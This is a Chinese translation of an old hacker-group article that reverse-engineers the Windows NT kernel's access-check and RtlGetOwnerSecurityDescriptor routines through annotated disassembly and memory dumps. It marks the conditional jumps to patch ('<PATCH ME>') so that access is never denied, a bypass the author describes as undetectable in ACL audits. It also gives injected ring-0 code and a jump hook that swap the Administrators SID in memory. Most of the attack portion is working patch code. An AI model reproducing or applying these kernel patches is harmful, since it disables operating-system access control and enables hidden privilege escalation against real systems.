80199885 mov dword ptr [ecx], 0C0000061h

8019988B jmp loc_80199C0C

80199890 ;

===========================================================================

被删除的代码。

801998CA ;

===========================================================================

801998CA

801998CA loc_801998CA: ; jump from above lands here

801998CA ; sub_80199836

801998CA mov eax, [ebp+arg_0] ; arg0 pts to a

; Security Descriptor

801998CD mov dx, [eax+2] ; offset 2 is that

; 80 04 number...

801998D1 mov cx, dx

801998D4 and cx, 4 ; 80 04 become 00 04

801998D8 jz short loc_801998EA ; normally doesnt jump

801998DA mov esi, [eax+10h] ; SD[10h] is an offset

; value to the DACL in

; the SD

801998DD test esi, esi ; make sure it exists

801998DF jz short loc_801998EA

801998E1 test dh, 80h

801998E4 jz short loc_801998EC

801998E6 add esi, eax ; FFWDS to first DACL

; in SD ******

801998E8 jmp short loc_801998EC ; normally all good

; here, go ahead and

; jump

801998EA ;

===========================================================================

801998EA

801998EA loc_801998EA: ; CODE XREF: sub_80199836+A2

801998EA ; sub_80199836+A9

801998EA xor esi, esi

801998EC

801998EC loc_801998EC: ; CODE XREF: sub_80199836+AE

801998EC ; sub_80199836+B2

801998EC cmp cx, 4 ; jump lands here

801998F0 jnz loc_80199BC6

801998F6 test esi, esi

801998F8 jz loc_80199BC6

801998FE test edi, 80000h ; we normally dont match this,

; so go ahead and jump

80199904 jz short loc_8019995E

被删除的代码。

8019995E ;

===========================================================================

8019995E

8019995E loc_8019995E: ; CODE XREF: sub_80199836+CE

8019995E ; sub_80199836+D4 ...

8019995E movzx eax, word ptr [esi+4] ; jump lands

80199962 mov [ebp+var_10], eax ; offset 4 is number of

; ACE's present in DACL

; var_10 = # Ace's

80199965 xor eax, eax

80199967 cmp [ebp+var_10], eax

8019996A jnz short loc_801999B7 ; normally jump

被删除的代码。

801999A2 ;

===========================================================================

被删除的代码。

801999B7 ;

===========================================================================

801999B7

801999B7 loc_801999B7: ; CODE XREF: sub_80199836+134

801999B7 test byte ptr [ebp+arg_C+3], 2 ; looks like part of

; the flags data,

; we usually jump

801999BB jz loc_80199AD3

被删除的代码。

80199AD3 ;

===========================================================================

80199AD3

80199AD3 loc_80199AD3: ; CODE XREF: sub_80199836+185

80199AD3 mov [ebp+var_C], 0 ; jump lands here

80199ADA add esi, 8

80199ADD cmp [ebp+var_10], 0 ; is number of ACE's zero?

80199AE1 jz loc_80199B79 ; normally not

80199AE7

80199AE7 loc_80199AE7: ; CODE XREF: sub_80199836+33D

80199AE7 test edi, edi ; the EDI register is very

; important we will continue

; to loop back to this point

; as we traverse each ACE

; the EDI register is modified

; with each ACE's access mask

; if a SID match occurs.

; Access is allowed only if

; EDI is completely blank

; by the time we are done. :-)

80199AE9 jz loc_80199B79 ; jumps to exit routine

; if EDI is blank

80199AEF test byte ptr [esi+1], 8 ; checks for ACE value

; 8, second byte..

; i dont know what

; this is, but if it's

; not 8, its not

; evaluated, not

; important

80199AF3 jnz short loc_80199B64

80199AF5 mov al, [esi] ; this is the ACE type,

; which is 0, 1, or 4

80199AF7 test al, al ; 0 is ALLOWED_TYPE and

; 1 is DENIED_TYPE

80199AF9 jnz short loc_80199B14 ; jump to next block if

; it's not type 0

80199AFB lea eax, [esi+8] ; offset 8 is the SID

80199AFE push eax ; pushes the ACE

80199AFF push [ebp+var_8]

80199B02 call sub_801997C2 ; checks to see if the

; caller matches the

; SID return of 1 says

; we matched, 0 means

; we did not

80199B07 test al, al

80199B09 jz short loc_80199B64 ; a match here is good,

; since its the ALLOWED

; list

; so a 2 byte patch can

; NOP out this jump

; <PATCH ME>

80199B0B mov eax, [esi+4]

80199B0E not eax

80199B10 and edi, eax ; whiddles off the part

; of EDI that we

; matched ..

; this chopping of

; flags can go on through

; many loops

; remember, we are only

; good if ALL of EDI is

; chopped away...

80199B12 jmp short loc_80199B64

80199B14 ;

===========================================================================

80199B14

80199B14 loc_80199B14: ; CODE XREF: sub_80199836+2C3

80199B14 cmp al, 4 ; check for ACE type 4

80199B16 jnz short loc_80199B4B ; normally we aren't

; this type, so jump

被删除的代码。

80199B4B ;

===========================================================================

80199B4B

80199B4B loc_80199B4B: ; CODE XREF: sub_80199836+2E0j

80199B4B cmp al, 1 ; check for DENIED type

80199B4D jnz short loc_80199B64

80199B4F lea eax, [esi+8] ; offset 8 is the SID

80199B52 push eax

80199B53 push [ebp+var_8]

80199B56 call sub_801997C2 ; check the callers SID

80199B5B test al, al ; a match here is BAD,

; since we are being

; DENIED

80199B5D jz short loc_80199B64 ; so make JZ a normal

; JMP <PATCH ME>

80199B5F test [esi+4], edi ; we avoid this flag

; check w/ the patch

80199B62 jnz short loc_80199B79

80199B64

80199B64 loc_80199B64: ; CODE XREF: sub_80199836+2BD

80199B64 ; sub_80199836+2D3

80199B64 mov ecx, [ebp+var_10] ; our loop routine,

; called from above as

; we loop around and

; around.

; var_10 is the number

; of ACE's

80199B67 inc [ebp+var_C] ; var_C is the current

; ACE

80199B6A movzx eax, word ptr [esi+2] ; byte 3 is the offset

; to the next ACE

80199B6E add esi, eax ; FFWD

80199B70 cmp [ebp+var_C], ecx ; check to see if we

; are done

80199B73 jb loc_80199AE7 ; if not, go back up...

80199B79

80199B79 loc_80199B79: ; CODE XREF: sub_80199836+2AB

80199B79 ; sub_80199836+2B3

80199B79 xor eax, eax ; this is our general

; exit routine

80199B7B test edi, edi ; if EDI isnt empty,

; then a DENIED state

; was reached above

80199B7D jz short loc_80199B91 ; so patch the JZ into

; a JMP so we never

; return ACCESS_DENIED

; <PATCH ME>

80199B7F mov ecx, [ebp+arg_1C]

80199B82 mov [ecx], eax

80199B84 mov eax, [ebp+arg_24]

; STATUS_ACCESS_DENIED

80199B87 mov dword ptr [eax], 0C0000022h

80199B8D xor al, al

80199B8F jmp short loc_80199C0C

80199B91 ;

===========================================================================

80199B91

80199B91 loc_80199B91: ; CODE XREF: sub_80199836+347

80199B91 mov eax, [ebp+1Ch]

80199B94 mov ecx, [ebp+arg_1C] ; result code into

; &arg_1C

80199B97 or eax, [ebp+arg_C] ; checked passed in

; mask

80199B9A mov [ecx], eax

80199B9C mov ecx, [ebp+arg_24] ; result code into

; &arg_24, should be

; zero

80199B9F jnz short loc_80199BAB ; if everything above

; went OK, we should

jump

80199BA1 xor al, al

80199BA3 mov dword ptr [ecx], 0C0000022h

80199BA9 jmp short loc_80199C0C

80199BAB ;

===========================================================================

80199BAB

80199BAB loc_80199BAB: ; CODE XREF: sub_80199836+369

80199BAB mov dword ptr [ecx], 0 ; Good and Happy

; things, we passed!

80199BB1 test ebx, ebx

80199BB3 jz short loc_80199C0A

80199BB5 push [ebp+arg_20]

80199BB8 push dword ptr [ebp+var_2]

80199BBB push dword ptr [ebp-1]

80199BBE push ebx

80199BBF call sub_8019DC80

80199BC4 jmp short loc_80199C0A

80199BC6 ;

===========================================================================

被删除的代码。

80199C0A loc_80199C0A: ; CODE XREF: sub_80199836+123

80199C0A ; sub_80199836+152

80199C0A mov al, 1

80199C0C

80199C0C loc_80199C0C: ; CODE XREF: sub_80199836+55

80199C0C ; sub_80199836+8F

80199C0C pop edi

80199C0D pop esi

80199C0E pop ebx

80199C0F mov esp, ebp

80199C11 pop ebp

80199C12 retn 28h ; Outta Here!

80199C12 sub_80199836 endp

沿途转储了一些数据结构:

:d eax

0023:E1A1C174 01 00 04 80 DC 00 00 00-EC 00 00 00 00 00 00 00 ................

; this looks like a SD

0023:E1A1C184 14 00 00 00 02 00 C8 00-08 00 00 00 00 09 18 00 ................

0023:E1A1C194 00 00 00 10 01 01 00 00-00 00 00 03 00 00 00 00 ................

0023:E1A1C1A4 00 00 00 00 00 02 18 00-FF 01 1F 00 01 01 00 00 ................

0023:E1A1C1B4 00 00 00 03 00 00 00 00-00 00 00 00 00 09 18 00 ................

0023:E1A1C1C4 00 00 00 10 01 01 00 00-00 00 00 05 12 00 00 00 ................

0023:E1A1C1D4 00 00 00 00 00 02 18 00-FF 01 1F 00 01 01 00 00 ................

0023:E1A1C1E4 00 00 00 05 12 00 00 00-00 00 00 00 00 09 18 00 ................

:d esi

0023:E1A1C188 02 00 C8 00 08 00 00 00-00 09 18 00 00 00 00 10 ................

; OFFSET into the SD (DACL)

0023:E1A1C198 01 01 00 00 00 00 00 03-00 00 00 00 00 00 00 00 ................

0023:E1A1C1A8 00 02 18 00 FF 01 1F 00-01 01 00 00 00 00 00 03 ................

0023:E1A1C1B8 00 00 00 00 00 00 00 00-00 09 18 00 00 00 00 10 ................

0023:E1A1C1C8 01 01 00 00 00 00 00 05-12 00 00 00 00 00 00 00 ................

0023:E1A1C1D8 00 02 18 00 FF 01 1F 00-01 01 00 00 00 00 00 05 ................

0023:E1A1C1E8 12 00 00 00 00 00 00 00-00 09 18 00 00 00 00 10 ................

0023:E1A1C1F8 01 02 00 00 00 00 00 05-20 00 00 00 20 02 00 00 ........ ... ...

下面展示的是 SD, DACL, 和 ACE 的格式:

SD:

-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --

r | |04|80|fo| | | |fg| | | | | | |fd| | --==>

-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --

r: 修正值,必须为1

fo: 到自己SID的偏移量

fg: 到组SID的偏移量

fd: 到DACL的偏移量

ACL:

-- -- -- -- -- -- -- -- -- --

r | | | |na| | | |sa| | --==>

-- -- -- -- -- -- -- -- -- --

r: 修正值?

na: ACE的数目

sa: 第一个ACE的开始处

ACE:

-- -- -- -- -- -- -- -- -- --

t |i |oa| |am| | | |ss| | --==>

-- -- -- -- -- -- -- -- -- --

t: 类型: 0, 1, 或 4

i: 如果值不是8,那么ACE将被忽略

oa: 到下一个ACE的偏移量

am: 与本SID相关的访问掩码

ss: SID的开始处,通常为8,但是在ACE类型为4时,将会在0Ch的偏移处

现在你已经获得了四字节的补丁了。这个不定的应用程序将允许任何人访问NT域中的几乎任何对象。同样,在审核ACL时是无法察觉的。仅仅的错误迹象就是你以常规用户打开SAM数据库的操作……我可以在没有任何拒绝访问提示的情况下结束任何进程……上帝知道NULL用户会话可以侥幸逃脱!

逆向工程与RTLGetOwnerSecurityDescriptor()函数的补丁

-------------------------------------------------

最后一个补丁不是很好,现在这个将举例如何简单的添加你自己的代码到内核里。简单到就是简单的一跳,我可以绕过执行文件的路径到我们的补丁处,然后不知不觉的返回到通常的执行文件处。这个补丁修改存储器中的SID,所以破坏了安全系统的完整性。带上一点灵感,这个补丁可以做得更好。在NTOSKRNL.EXE中有上百个例程,你可以在Ring 0下执行你自己的代码,任何事情都变成为可能。如果为了其他的一些原因,本文应该扩展你对可能性的看法。对NT内核进行逆向工程不是什么新技术,希望NSA拥有NT内核的完整的源代码,并书写一个精心设计的补丁。实际上,它们大都是在NT 3.5上。

80184AAC ;

===========================================================================

80184AAF align 4

80184AB0 ; Exported entry 719. RtlGetOwnerSecurityDescriptor

80184AB0

80184AB0 ;

===========================================================================

80184AB0

80184AB0 ; S u b r o u t i n e

80184AB0 ; Attributes: bp-based frame

80184AB0

80184AB0 public RtlGetOwnerSecurityDescriptor

80184AB0 RtlGetOwnerSecurityDescriptor proc near ; CODE XREF: sub_8018F318+22

80184AB0

80184AB0 arg_0 = dword ptr 8

80184AB0 arg_4 = dword ptr 0Ch

80184AB0 arg_8 = dword ptr 10h

80184AB0

80184AB0 push ebp

80184AB1 mov edx, [esp+arg_0]

80184AB5 mov ebp, esp

80184AB7 push esi

//

// MessageId: STATUS_UNKNOWN_REVISION

//

// MessageText:

//

// Indicates a revision number encountered or specified is not one

// known by the service. It may be a more recent revision than the

// service is aware of.

//

#define STATUS_UNKNOWN_REVISION ((NTSTATUS)0xC0000058L)

对SD的修正值:

用户模式函数InitializeSecurityDescriptor()将会为SD设置修正数字。InitializeSecurityDescriptor()函数初始化一个新的安全描述符。

BOOL InitializeSecurityDescriptor(

PSECURITY_DESCRIPTOR pSecurityDescriptor, // 安全描述符地址

DWORD dwRevision // 修订级别

);

参数:

pSecurityDescriptor: 一个指向函数初始化SECURITY_DESCRIPTOR结构的指针。

dwRevision: 指定分配给安全描述符的修订级别。它必须指定为SECURITY_DESCRIPTOR_REVISION。

80184AB8 cmp byte ptr [edx], 1 ; Ptr to decimal

; value usually 01,

; (SD Revision)

80184ABB jz short loc_80184AC4

; STATUS CODE (STATUS_UNKNOWN_REVISION)

80184ABD mov eax, 0C0000058h

80184AC2 jmp short loc_80184AF3 ; will exit

下一块执行一些对存储在EDX中包含我们函数第一个参数相应对象的操作。有两种不同形式的SD,绝对的和相对的:

一个安全描述符可以是绝对的或自己相对的形式存在。相对形式时,结构中的所有成员在存储器中以连续的方式定位;在绝对方式时,结构仅仅包含成员的指针。

EDX中的数据被以绝对的方式被传送:

Argument 1 (a SECURITY_DESCRIPTOR structure):

:d edx

0023:E1F47488 01 00 04 80 5C 00 00 00-6C 00 00 00 00 00 00 00 ....\...l.......

; 01 Revision, Flags 04,

; Offset to Owner SID is 5C,

; Offset to Primary Group SID is 6C

0023:E1F47498 14 00 00 00 02 00 48 00-02 00 00 00 00 00 18 00 ......H.........

0023:E1F474A8 FF 00 0F 00 01 02 00 00-00 00 00 05 20 00 00 00 ............ ...

0023:E1F474B8 20 02 00 00 00 00 14 00-FF 00 0F 00 01 01 00 00 ...............

0023:E1F474C8 00 00 00 05 12 00 00 00-00 00 4E 00 C8 FD 14 00 ..........N.....

0023:E1F474D8 E8 00 14 00 41 00 64 00-6D 00 69 00 01 02 00 00 ....A.d.m.i.....

; SIDS start here, see below

0023:E1F474E8 00 00 00 05 20 00 00 00-20 02 00 00 01 05 00 00 .... ... .......

0023:E1F474F8 00 00 00 05 15 00 00 00-BA 5D FF 0C 5C 4F CF 51 .........]..\O.Q

80184AC4 ;

===========================================================================

80184AC4

80184AC4 loc_80184AC4: ; CODE XREF:

; RtlGetOwnerSecurityDescriptor+B

80184AC4 mov eax, [edx+4] ; we are here if the revision

; is good

80184AC7 xor ecx, ecx

80184AC9 test eax, eax ; 01 00 04 80 >5C< which is

; [edx+4] must not be zero

; if the value IS zero, this

; means the SD does NOT have a

; owner, and it sets argument

; 2 to NULL, then returns,

; ignoring argument 3

; altogether.

80184ACB jnz short loc_80184AD4

80184ACD mov esi, [ebp+arg_4]

80184AD0 mov [esi], ecx

80184AD2 jmp short loc_80184AE1

80184AD4 ;

===========================================================================

80184AD4

80184AD4 loc_80184AD4: ; CODE XREF:

; RtlGetOwnerSecurityDescriptor+1B

80184AD4 test byte ptr [edx+3], 80h ; 01 00 04 >80< 5C

; which is [edx+3]

must be 80

80184AD8 jz short loc_80184ADC

80184ADA add eax, edx ; adds edx to 5C,

; which must be an

; offset to the SID

; within the SD

注意在存储器里包含一对SID。第一个是所有者,第二个一定是组。第一个SID,1-5-20-220是BUILTIN\Administrators。通过将220变成222,我们可以将之修改为BUILTIN\Guests。这将会造成严重的安全问题。第二个SID将会发生在有威胁的人身上……那就是你的第一个暗示:它不是一个BUILD-IN组的。实际上在这种情况下,组是一个在我NT服务器上的本地组ANSUZ\None(我的服务器名字明显是ANSUZ……)

:d eax

0023:E1A49F84 01 02 00 00 00 00 00 05-20 00 00 00 20 02 00 00 ........ ... ...

; This is a SID in memory (1-5-20-220)

0023:E1A49F94 01 05 00 00 00 00 00 05-15 00 00 00 BA 5D FF 0C .............]..

; another SID

0023:E1A49FA4 5C 4F CF 51 FD 28 9A 4E-01 02

; (1-5-15-CFF5DBA-51CF4F5C-4E9A28FD-201)

80184ADC

80184ADC loc_80184ADC: ; CODE XREF:

; RtlGetOwnerSecurityDescriptor+28

80184ADC mov esi, [ebp+arg_4]

80184ADF mov [esi], eax ; moving the address of the

; SID through the user

; supplied ptr (PSID pOwner)

80184AE1

80184AE1 loc_80184AE1: ; CODE XREF:

; RtlGetOwnerSecurityDescriptor+22

80184AE1 mov ax, [edx+2] ; some sort of flags

; 01 00 >04< 80 5C

80184AE5 mov edx, [ebp+arg_8]; argument 3, which is to be

; filled in with

flags data

80184AE8 and al, 1

80184AEA cmp al, 1 ; checking against a mask of

; 0x01

80184AEC setz cl ; set based on flags register

; (if previous compare was true)

80184AEF xor eax, eax ; status is zero, all good ;)

80184AF1 mov [edx], cl ; the value is set for

; SE_OWNER_DEFAULTED

; true/false

80184AF3

80184AF3 loc_80184AF3: ; CODE XREF:

; RtlGetOwnerSecurityDescriptor+12

80184AF3 pop esi

80184AF4 pop ebp

80184AF5 retn 0Ch ; outta here, status in EAX

80184AF5 RtlGetOwnerSecurityDescriptor endp

这个例程是从下面的堆栈中被调用的:

(NtOpenProcessToken)

Break due to BPX ntoskrnl!RtlGetOwnerSecurityDescriptor (ET=31.98 milliseconds)

:stack at 001B:00000000 (SS:EBP 0010:00000000)

ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8E3FF04)

ntoskrnl!NtOpenProcessToken+025E at 0008:80198834 (SS:EBP 0010:F8E3FEEC)

ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8E3FE50)

ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8E3FD80)

ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8E3FD48)

ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8E3FD34)

ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8E3FD20)

=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8E3FD00)

(PsCreateWin32Process)

Break due to BPX ntoskrnl!RtlGetOwnerSecurityDescriptor (ET=3.62 milliseconds)

:stack

ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04)

ntoskrnl!PsCreateWin32Process+01E7 at 0008:80192B5D (SS:EBP 0010:F8CDFEDC)

ntoskrnl!PsCreateSystemThread+04CE at 0008:8019303E (SS:EBP 0010:F8CDFE6C)

ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFDC8)

ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFCF8)

ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFCC0)

ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFCAC)

ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8CDFC98)

=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8CDFC78)

(PsCreateSystemThread)

:stack

ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04)

ntoskrnl!PsCreateSystemThread+0731 at 0008:801932A1 (SS:EBP 0010:F8CDFEDC)

ntoskrnl!PsCreateSystemProcess+05FD at 0008:801938B1 (SS:EBP 0010:F8CDFE8C)

ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFDEC)

ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFD1C)

ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFCE4)

ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFCD0)

ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8CDFCBC)

=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8CDFC9C)

(SeTokenImpersonationLevel)

:stack

ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04)

ntoskrnl!PsCreateSystemThread+0731 at 0008:801932A1 (SS:EBP 0010:F8CDFEDC)

ntoskrnl!PsRevertToSelf+0063 at 0008:8013577D (SS:EBP 0010:F8CDFE8C)

ntoskrnl!SeTokenImpersonationLevel+01A3 at 0008:8019F12F (SS:EBP 0010:F8CDFDE8)

ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFD9C)

ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFCCC)

ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFC94)

ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFC80)

ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8CDFC6C)

=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8CDFC4C)

我开始试着修改这个调用。我决定探测拥有者BUILTIN\Administrators的SID(1-5-20-220)并改变它为BUILTIN\Users的SID(1-5-20-221)。下面的代码就是我修改的:

首先,我定位到那些我可以转储额外代码的存储器区域。为了测试,我选择了区域地址为:08:8000F2B0。我发现它总是被初始化为零,所以我暂时把它标记为安全的。然后,我组装一些指令到这个新的区域:

8000F2B0: push ebx

mov ebx, [eax + 08]

cmp ebx, 20 ; check the 20 in 1-5-20-XXX

nop ; nop's are leftovers from

; debugging

nop

jnz 8000f2c2 ; skip it if we aren't looking

; at a 20

mov word ptr [eax+0c], 221 ; write over old RID w/ new RID

; of 221

nop

8000f2c2: pop ebx

nop

mov esi, [ebp + 0c] ; the two instructions

mov [esi], eax ; that I nuked to make the

; initial jump

jmp 80184ae1

现在,注意到最后的两个指令先于跳转回NT。为了实现这个调用,我必须安装一个跳转指令到NT的子程序里面。这样做攻击了两个实际的指令,如下:

原始代码:

80184ADC mov esi, [ebp+arg_4];<**===--- PATCHING A JUMP

; HERE

80184ADF mov [esi], eax

80184AE1 mov ax, [edx+2] ; some sort of flags

; 01 00 >04< 80 5C

80184AE5 mov edx, [ebp+arg_8]; argument 3, which is to be

; filled in with flags data

修改过的代码:

80184ADC JMP 8000F2B0 ; Note: this nuked two real

; instructions...

80184AE1 mov ax, [edx+2] ; some sort of flags

; 01 00 >04< 80 5C

80184AE5 mov edx, [ebp+arg_8]; argument 3, which is to be

; filled in with flags data

所以,为了纠正这一点,我将要跳转的代码需要运行两条丢弃的指令:

mov esi, [ebp + 0c] ; the two instructions

mov [esi], eax ; that I nuked to make the

; initial jump

好了,现在所有的都搞定了。我对这个不定测试了一段时间还没有任何问题。为了验证它的存在,在修改时我检查了存储器,SID的确是从1-5-20-220 变成了 SID 1-5-20-221。但是,像所有的项目一样,我还没有“浮出水面”。在获取文件的安全属性时,即使修改了存储器中的SID,所有者仍然现实的是管理员。我同样设置了一个断点来验证类似查询时补丁被正常的调用过。更深一层的研究表明,本例程在验证文件对象访问权限时是不会被调用的,但是在打开进程令牌,创建进程和线程时它会被调用。可能其他的研究者会发现一些更有意思的想法?但是,在这个补丁中使用的方法几乎可以使用到任何内核例程,所以我希望这是一个有用的旅程。

附录A:安全参考监视器的输出函数:

------------------------------

SeAccessCheck

SeAppendPrivileges

SeAssignSecurity

SeAuditingFileEvents

SeAuditingFileOrGlobalEvents

SeCaptureSecurityDescriptor

SeCaptureSubjectContext

SeCloseObjectAuditAlarm

SeCreateAccessState

SeCreateClientSecurity

SeDeassignSecurity

SeDeleteAccessState

SeDeleteObjectAuditAlarm

SeExports

SeFreePrivileges

SeImpersonateClient

SeLockSubjectContext

SeMarkLogonSessionForTerminationNotification

SeOpenObjectAuditAlarm

SeOpenObjectForDeleteAuditAlarm

SePrivilegeCheck

SePrivilegeObjectAuditAlarm

SePublicDefaultDacl

SeQueryAuthenticationIdToken

SeQuerySecurityDescriptorInfo

SeRegisterLogonSessionTerminatedRoutine

SeReleaseSecurityDescriptor

SeReleaseSubjectContext

SeSetAccessStateGenericMapping

SeSetSecurityDescriptorInfo

SeSinglePrivilegeCheck

SeSystemDefaultDacl

SeTokenImpersonationLevel

SeTokenType

SeUnlockSubjectContext

SeUnregisterLogonSessionTerminatedRoutine

SeValidSecurityDescriptor

下面是对象管理器的输出函数:

ObAssignSecurity

ObCheckCreateObjectAccess

ObCheckObjectAccess

ObCreateObject

ObDereferenceObject

ObfDereferenceObject

ObFindHandleForObject

ObfReferenceObject

ObGetObjectPointerCount

ObGetObjectSecurity

ObInsertObject

ObMakeTemporaryObject

ObOpenObjectByName

ObOpenObjectByPointer

ObQueryNameString

ObQueryObjectAuditingByHandle

ObReferenceObjectByHandle

ObReferenceObjectByName

ObReferenceObjectByPointer

ObReleaseObjectSecurity

ObSetSecurityDescriptorInfo

下面是输入/输出管理器的输出函数:

IoAcquireCancelSpinLock

IoAcquireVpbSpinLock

IoAdapterObjectType

IoAllocateAdapterChannel

IoAllocateController

IoAllocateErrorLogEntry

IoAllocateIrp

IoAllocateMdl

IoAssignResources

IoAttachDevice

IoAttachDeviceByPointer

IoAttachDeviceToDeviceStack

IoBuildAsynchronousFsdRequest

IoBuildDeviceIoControlRequest

IoBuildPartialMdl

IoBuildSynchronousFsdRequest

IoCallDriver

IoCancelIrp

IoCheckDesiredAccess

IoCheckEaBufferValidity

IoCheckFunctionAccess

IoCheckShareAccess

IoCompleteRequest

IoConnectInterrupt

IoCreateController

IoCreateDevice

IoCreateFile

IoCreateNotificationEvent

IoCreateStreamFileObject

IoCreateSymbolicLink

IoCreateSynchronizationEvent

IoCreateUnprotectedSymbolicLink

IoDeleteController

IoDeleteDevice

IoDeleteSymbolicLink

IoDetachDevice

IoDeviceHandlerObjectSize

IoDeviceHandlerObjectType

IoDeviceObjectType

IoDisconnectInterrupt

IoDriverObjectType

IoEnqueueIrp

IoFastQueryNetworkAttributes

IofCallDriver

IofCompleteRequest

IoFileObjectType

IoFreeController

IoFreeIrp

IoFreeMdl

IoGetAttachedDevice

IoGetBaseFileSystemDeviceObject

IoGetConfigurationInformation

IoGetCurrentProcess

IoGetDeviceObjectPointer

IoGetDeviceToVerify

IoGetFileObjectGenericMapping

IoGetInitialStack

IoGetRelatedDeviceObject

IoGetRequestorProcess

IoGetStackLimits

IoGetTopLevelIrp

IoInitializeIrp

IoInitializeTimer

IoIsOperationSynchronous

IoIsSystemThread

IoMakeAssociatedIrp

IoOpenDeviceInstanceKey

IoPageRead

IoQueryDeviceDescription

IoQueryDeviceEnumInfo

IoQueryFileInformation

IoQueryVolumeInformation

IoQueueThreadIrp

IoRaiseHardError

IoRaiseInformationalHardError

IoReadOperationCount

IoReadTransferCount

IoRegisterDriverReinitialization

IoRegisterFileSystem

IoRegisterFsRegistrationChange

IoRegisterShutdownNotification

IoReleaseCancelSpinLock

IoReleaseVpbSpinLock

IoRemoveShareAccess

IoReportHalResourceUsage

IoReportResourceUsage

IoSetDeviceToVerify

IoSetHardErrorOrVerifyDevice

IoSetInformation

IoSetShareAccess

IoSetThreadHardErrorMode

IoSetTopLevelIrp

IoStartNextPacket

IoStartNextPacketByKey

IoStartPacket

IoStartTimer

IoStatisticsLock

IoStopTimer

IoSynchronousPageWrite

IoThreadToProcess

IoUnregisterFileSystem

IoUnregisterFsRegistrationChange

IoUnregisterShutdownNotification

IoUpdateShareAccess

IoVerifyVolume

IoWriteErrorLogEntry

IoWriteOperationCount

IoWriteTransferCount

下面是本地安全认证的输出函数:

LsaCallAuthenticationPackage

LsaDeregisterLogonProcess

LsaFreeReturnBuffer

LsaLogonUser

LsaLookupAuthenticationPackage

LsaRegisterLogonProcess

仅有的来自HAL.DLL的输入函数:

HAL.ExAcquireFastMutex

HAL.ExReleaseFastMutex

HAL.ExTryToAcquireFastMutex

HAL.HalAllocateAdapterChannel

HAL.HalBeginSystemInterrupt

HAL.HalClearSoftwareInterrupt

HAL.HalDisableSystemInterrupt

HAL.HalDisplayString

HAL.HalEnableSystemInterrupt

HAL.HalEndSystemInterrupt

HAL.HalGetEnvironmentVariable

HAL.HalHandleNMI

HAL.HalProcessorIdle

HAL.HalQueryDisplayParameters

HAL.HalRequestSoftwareInterrupt

HAL.HalReturnToFirmware

HAL.HalSetEnvironmentVariable

HAL.HalSetRealTimeClock

HAL.HalStartProfileInterrupt

HAL.HalStopProfileInterrupt

HAL.HalSystemVectorDispatchEntry

HAL.KdPortPollByte

HAL.KdPortRestore

HAL.KdPortSave

HAL.KeGetCurrentIrql

HAL.KeLowerIrql

HAL.KeRaiseIrql

HAL.KeRaiseIrqlToDpcLevel

HAL.KeRaiseIrqlToSynchLevel

HAL.KfAcquireSpinLock

HAL.KfLowerIrql

HAL.KfRaiseIrql

HAL.KfReleaseSpinLock

HAL.READ_PORT_UCHAR

HAL.READ_PORT_ULONG

HAL.READ_PORT_USHORT

HAL.WRITE_PORT_UCHAR

HAL.WRITE_PORT_ULONG

HAL.WRITE_PORT_USHORT

----[ 结束

关于:

FZ5FZ,我们主要从事网络/系统安全的学习与研究,深入编程技术的剖析与探讨,坚持原创,追求共享。

FZ5FZ 主页:http://fz5fz.yeah.net

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
